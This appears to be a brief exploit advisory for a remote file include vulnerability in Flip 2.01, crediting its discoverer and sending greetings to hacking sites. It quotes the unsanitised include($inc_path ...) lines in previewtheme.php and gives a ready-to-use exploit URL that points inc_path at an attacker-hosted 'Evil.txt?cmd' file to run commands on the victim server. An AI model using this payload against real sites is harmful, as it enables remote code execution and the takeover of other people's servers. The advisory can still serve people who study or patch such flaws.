Flip 2.01 final (previewtheme.php inc_path) RFI Vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Flip-2.01-final&nbsp;1.0&nbsp;<=&nbsp;&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Discovered&nbsp;by&nbsp;GolD_M(Mahmnood_ali)&nbsp;&&nbsp;&&nbsp;&nbsp;Contact:&nbsp;HackEr_@W.Cn ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ URL: http://releases.smallaxesolutions.com/flip-2.01.zip ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ V.CODE:&nbsp;In&nbsp;:&nbsp;[path]/previewtheme.php include($inc_path&nbsp;.&nbsp;\"options.php\"); include($inc_path&nbsp;.&nbsp;\"head.php\"); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Exploit: http://Www.Victim.Com/[path]/[path]/previewtheme.php?theme=1&inc_path=Evil.txt?cmd ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Thanx&nbsp;:&nbsp;ThE&nbsp;dE@Th&nbsp;&nbsp;&&nbsp;Codebreak&nbsp;&&nbsp;Dr&nbsp;Max&nbsp;Virus&nbsp;&&nbsp;Milw0rm.com&nbsp;&&nbsp;H4cky0u.Com&nbsp;&&nbsp;Google.Com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SpeciaL&nbsp;GreeTz&nbsp;:&nbsp;Tryag.Com&nbsp;&&nbsp;DwRaT.Com&nbsp;&&nbsp;Asb-May.Net ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~